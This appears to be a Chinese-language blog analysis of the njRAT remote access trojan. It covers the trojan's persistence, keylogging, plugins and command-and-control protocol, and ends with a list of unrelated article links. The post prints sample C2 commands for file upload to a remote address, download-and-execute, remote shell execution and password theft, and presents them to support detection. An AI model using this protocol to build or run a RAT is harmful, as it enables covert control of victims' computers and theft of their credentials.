史上最全的njRAT通信协议分析
Njrat,又称Bladabindi,该木马家族使用.NET框架编写,是一个典型的RAT类程序,通过控制端可以操作受控端的文件、进程、服务、注册表内容,也可以盗取受控端的浏览器的保存的密码信息等内容。此外,还具有远程屏幕抓取,木马客户端升级等功能。
Njrat采用了插件机制,通过使用不同的插件来扩展新的木马功能。本文涉及到njrat的三款插件,分别为:sc2.dll,ch.dll和pw.dll,其中的ch.dll用来实现与受控端的聊天对话功能。pw.dll用来实现对受控端密码内容的抓取,sc2.dll用来实现远程桌面功能。
当受控端上线时,主控端会弹出提示信息如下所示:
控制端:
木马配置选项如下:
控制界面如下图
木马程序
总体的代码结构:
对于被控端代码(也就是木马程序)的总体代码结构如下图:
木马的Main函数入口只是调用了Ok类的ko方法。
确保单实例运行
通过互斥体来实现单实例运行。互斥体名称为“f8782a013a20610e09216f21b705d856”。
拷贝自身,设置注册表,加启动项:
1.判断是不是在temp目录下
2.如果不在temp目录下,判断temp目录下是否有样本文件存在
3.如果样本文件存在,刚将样本文件删除
4.重新拷贝自己到临时目录下
5.运行temp目录下的程序
设置注册表:
添加防火墙规则:
添加启动项,与主控端设置相关:
添加的注册表中启动项位置
添加的启动项的名称
键盘记录功能:
开启线程键盘记录
键盘记录线程函数:
键盘记录到的内容:
通信过程
通信中的关键数据使用base64加密的数据。通信命令各部分之间使用|’|'|分隔。
开启线程,与主控端通信
通信过程的内容主要分为四部分:
第一部分:命令类型如Ex,un,div,rn,ret等
第二部分为:命令的子类型,如proc,tcp,RG,rs,srv
第三部分为:操作命令,如~表示查看,k表示杀掉
第四部分为:操作命令对应的参数。如要杀死的进程名,要启动的服务名,要关闭的网络连接等
以下对于常用功能的通信命令进行详细分析。
文件管理命令
Ex|'|'|fm|'|'|~
命令类型为Ex,命令子类型为fm
操作命令类型如下:
!对应打开文件内容,
dl删除文件
rar表示压缩文件
nm表示重命名文件
up表示上传文件
fl表示
Ex|'|'|fm|'|'|!|'|'|QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXA==表示打开“C:\Users\Administrator\Desktop\”目录
Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq表示删除“E:\dump - 副本.exe“文件
Ex|'|'|fm|'|'|rar|'|'|RTpcLnJhcg==|'|'|RTpc|'|'|YSAteSAiRTpcLnJhciIgImR1bXAgLSDlia/mnKwubWFwIg==将“a -y "E:\.rar" "dump - 副本.map"”压缩到“E:\.rar”(RTpcLnJhcg==解base64)
Ex|'|'|fm|'|'|nm|'|'|RTpcaHJzd29yZC5leGUqSEFIQSo=将E:\hrsword.exe命名为HAHA
Ex|'|'|fm|'|'|up|'|'|10.0.2.15:49200|'|'|RTpcZXhhbXBsZS5iYXQ=|'|'|8将“E:\example.bat”文件上传到10.0.2.15:49200地址,文件的大小为8字节
Ex|'|'|fm|'|'|fl|'|'|d3d3LmJhaWR1LmNvbS9hLmpwZw==|'|'|RTpcd3d3LmJhaWR1LmNvbS9hLmpwZw==将www.baidu.com/a.jpg下载到
网络连接查看命令
命令格式为:
Ex|'|'|tcp|'|'|操作命令|'|'|操作参数
操作命令中:!表示断开连接,~表示显示连接列表
Ex|'|'|tcp|'|'|~|'|'| 表示显示所有的网络连接列表
Ex|'|'|tcp|'|'|!|'|'|0.0.0.0:491540.0.0.0:0表示断开这条连接
注册表查看命令
命令格式为:
Ex|'|'|RG|'|'|操作命令|'|'|操作参数
操作命令包括:
~表示查看命令,!表示新建命令,@表示删除注册表内容命令
Ex|'|'|RG|'|'|!|'|'|HKEY_CURRENT_USER\|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER\注册表下新建名字为aaaa,内容为bbb,类型为1的注册表项
Ex|'|'|RG|'|'|@|'|'|HKEY_CURRENT_USER\|'|'|aaaa删除aaaa的键值
Ex|'|'|RG|'|'|~|'|'|HKEY_CURRENT_USER\ 查看注册表HKEY_CURRENT_USER下的内容
远程shell命令
命令格式为:Ex|'|'|rs|'|'|操作命令|'|'|操作参数
操作命令包括:
~表示打开远程shell命令,!表示远程执行命令
Ex|'|'|rs|'|'|~ 表示显示远程shell窗口
Ex|'|'|rs|'|'|!|'|'|dGFza2xpc3Q= 远程运行tasklist命令
服务查看命令
命令格式为:Ex|'|'| srv |'|'|操作命令|'|'|操作参数
操作命令包括:
~对应显示列表命令,@对应的暂停命令,!对应的停止命令,#对应开启服务命令
Ex|'|'|srv|'|'|~ 显示所有的服务列表
Ex|'|'|srv|'|'|!|'|'|AeLookupSvc 停止AeLookupSvc服务的命令
进程命令
命令格式为:Ex|'|'| proc |'|'|操作命令|'|'|操作参数
操作命令包括:
~对应显示列表命令,k杀死指定进程
Ex|'|'|proc|'|'|~ 显示进程列表
Ex|'|'|proc|'|'|k|'|'|3036 杀死pid为3036的进程的通信命令
对木马文件的操作命令
命令格式为:un |’|'| proc|’|'|操作命令
操作命令包括:
!结束木马端的运行,@重新启动木马客户端, ~卸载木马程序
卸载木马程序主要进行下面的操作
升级木马客户端
使用up 命令
有两种升级方式:本地磁盘文件升级和在线升级
使用在线升级的数据包内容为:
up|'|'|木马升级包地址
本地升级数据包内容为:
up|'|'|\u001F+本地升级包的zip压缩后的内容
下载执行
被控端接收到下载执行的命令,解析出命令参数,使用WebClient的DownloadData方法下载,下载成功后执行
脚本执行与本地执行:
主控端的脚本的内容会使用ZIP压缩后,再封装成命令包发送,控制端接收到命令后,会使用压缩算法解压后,将内容写入到临时目录下的指定的扩展名(扩展名也由主控端发送确定)后,执行。与下载执行的数据包内容不同之处在于,脚本执行与本地执行数据包的头两个字节为001f
获取密码:
主控端向受控端发送ret指令,受控端接收到指令后,加载注册表中保存的pw插件,使用插件获取到密码后发送给主控端
主控端发送的命令为:
ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|(
其中的b88ece4c04f706c9717bbe6fbda49ed2表示pw插件保存在注册表中的位置
受控端返回的密码信息格式为:
ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|KiAqICogKiAqICogKiAqICogKiAqICogKiA=
KiAqICogKiAqICogKiAqICogKiAqICogKiA=解base64后为“* * * * * * * * * * ** *”,表示没有获得密码内容
聊天通信的实现:
从注册表中得到ch的组件,大小为 0×3000。
屏幕图像的通信:
这里的通信并不是“远程桌面”的效果,而是下图中的缩略图的通信内容
通过CopyFromScreen得到屏幕截图保存到图片格式,随后将此次生成的图像与上次生成的图像进行md5比较,如果md5不一致,则发送这次的截图数据。通过md5来对比图像是为了减少重复传输多次相同内容的图像。
通信的数据包内容为:
CAP|'|'|35|'|'|23
表示向受控端请求的图像是用来显示在主控端的缩略图中
远程桌面的通信:
远程桌面的效果图:
通信的数据包命令为:div
木马端会根据控制端传送的数据包,判断注册表下是不是有对应的插件,如果没有,发送反馈包给控制端,随后控制端会发送一个经过压缩的sc2.dll的插件给受控端,受控端随后启用插件进行远程桌面的通信。并将插件写入到注册表中。
结论
Njrat 是近年来最为活跃的木马家族之一。这一方面是因为木马简单易学,在网上随处可见配置木马的文章,另一方面,其强大的远控功能满足了网络犯罪的需要,甚至网络江湖中有传闻,极端组织ISIS也曾使用njRAT作为重要的网络武器。本文只是对njRat使用的各种远控功能的数据通话进行了梳理与罗列,只做技术学习交流。安全厂商可根据自身需要在其网络安全设备中加入相应的检测与防护策略,共同抵抗njrat的入侵。
史上最全的njRAT通信协议分析的更多相关文章
- 史上最全的select加锁分析(Mysql)
引言 大家在面试中有没遇到面试官问你下面六句Sql的区别呢 select * from table where id = ? select * from table where id < ? s ...
- 史上最全 | 39个RNAseq分析工具与对比
文献:Sahraeian S M E, Mohiyuddin M, Sebra R, et al. Gaining comprehensive biological insight into the ...
- 【原创】惊!史上最全的select加锁分析(Mysql)
引言 大家在面试中有没遇到面试官问你下面六句Sql的区别呢 select * from table where id = ? select * from table where id < ? s ...
- 优秀后端架构师必会知识:史上最全MySQL大表优化方案总结
本文原作者“ manong”,原创发表于segmentfault,原文链接:segmentfault.com/a/1190000006158186 1.引言 MySQL作为开源技术的代表作之一,是 ...
- 移动端IM开发者必读(二):史上最全移动弱网络优化方法总结
1.前言 本文接上篇<移动端IM开发者必读(一):通俗易懂,理解移动网络的“弱”和“慢”>,关于移动网络的主要特性,在上篇中已进行过详细地阐述,本文将针对上篇中提到的特性,结合我们的实践经 ...
- 史上最全面的SignalR系列教程-3、SignalR 实现推送功能-集线器类实现方式
1.概述 通过前两篇 史上最全面的SignalR系列教程-1.认识SignalR 史上最全面的SignalR系列教程-2.SignalR 实现推送功能-永久连接类实现方式 文章对SignalR的介绍, ...
- 史上最全的spark面试题——持续更新中
史上最全的spark面试题——持续更新中 2018年09月09日 16:34:10 为了九亿少女的期待 阅读数 13696更多 分类专栏: Spark 面试题 版权声明:本文为博主原创文章,遵循C ...
- GitHub上史上最全的Android开源项目分类汇总 (转)
GitHub上史上最全的Android开源项目分类汇总 标签: github android 开源 | 发表时间:2014-11-23 23:00 | 作者:u013149325 分享到: 出处:ht ...
- 吐血总结|史上最全的MySQL学习资料!!
在日常工作与学习中,无论是开发.运维.还是测试,对于数据库的学习是不可避免的,同时也是日常工作的必备技术之一.在互联网公司,开源产品线比较多,互联网企业所用的数据库占比较重的还是MySQL. 在刚刚出 ...
随机推荐
- 一个请求中,ADF、JSF究竟做了哪些工作
在Oracle ADF开发中,一个请求发生后,经过ADF处理后,我们可以很快得到响应页面,但在请求过程中ADF框架在背后究竟做了什么东西呢?今天让我们一起来了解下,ADF.JSF是基于组件模型的,不同 ...
- Java Unicode编码 及 Mysql utf8 utf8mb3 utf8mb4 的区别与utf8mb4的过滤
UTF-8简介 UTF-8(8-bit Unicode Transformation Format)是一种针对Unicode的可变长度字符编码,也是一种前缀码.它可以用来表示Unicode标准中的任何 ...
- Idea Maven 建本地仓库-导入本地JAR包
需求 IDEA 很方便集成了Maven,但是也有相应的问题,比如使用Maven仓没有包的时候不太方便,这时我们需要建立自已的本地仓库来实现 实现 找到Idea的安装目录下面的Maven,我的在 C:\ ...
- linux-SSR多用户版配置详解
前述:好久没有玩服务器,今天有一哥们要浏览下external website,就搭建一个新的服务器(本人用Vultr的Japan2.5$/mon centOs7.0 64位) 嗯,条件差不多了,开始啦 ...
- 【转】JS判断SWF,JPG加载完毕、兼容(Activex,plugIn)所有浏览器
JS判断SWF,JPG加载完毕.兼容(Activex,plugIn)所有浏览器 这里主要说下监听SWF的加载. 网上流传已久的监听方法,只能在IE(Activex插件下)下实现.在使用plugin的浏 ...
- Java基础之RTTI 运行时类型识别
运行时类型识别(RTTI, Run-Time Type Identification)是Java中非常有用的机制,在Java运行时,RTTI维护类的相关信息. 多态(polymorphism)是基于R ...
- ksum问题
2sum: Given an array of integers, return indices of the two numbers such that they add up to a speci ...
- ORA-00918: 未明确定义列
ORA-00918: 未明确定义列 出现问题原因及解决办法. --正常写,结果带上表名的字段在处理后表头名称相同,在进行下一次嵌套时就会出现问题 select au.userxm,au01.user ...
- Ubuntu抛弃了Untiy转向Gnome,美化之路怎么办?不用怕咱一步一步大变身!
跨平台系列汇总:http://www.cnblogs.com/dunitian/p/4822808.html#linux 常用软件安装+系统软件卸载:http://www.cnblogs.com/du ...
- 应用程序写Xml文档
主要用到CreateElement.CreateTextNode.CreateComment.AppendChild.InsertAfter方法 代码如下: XmlDocument document ...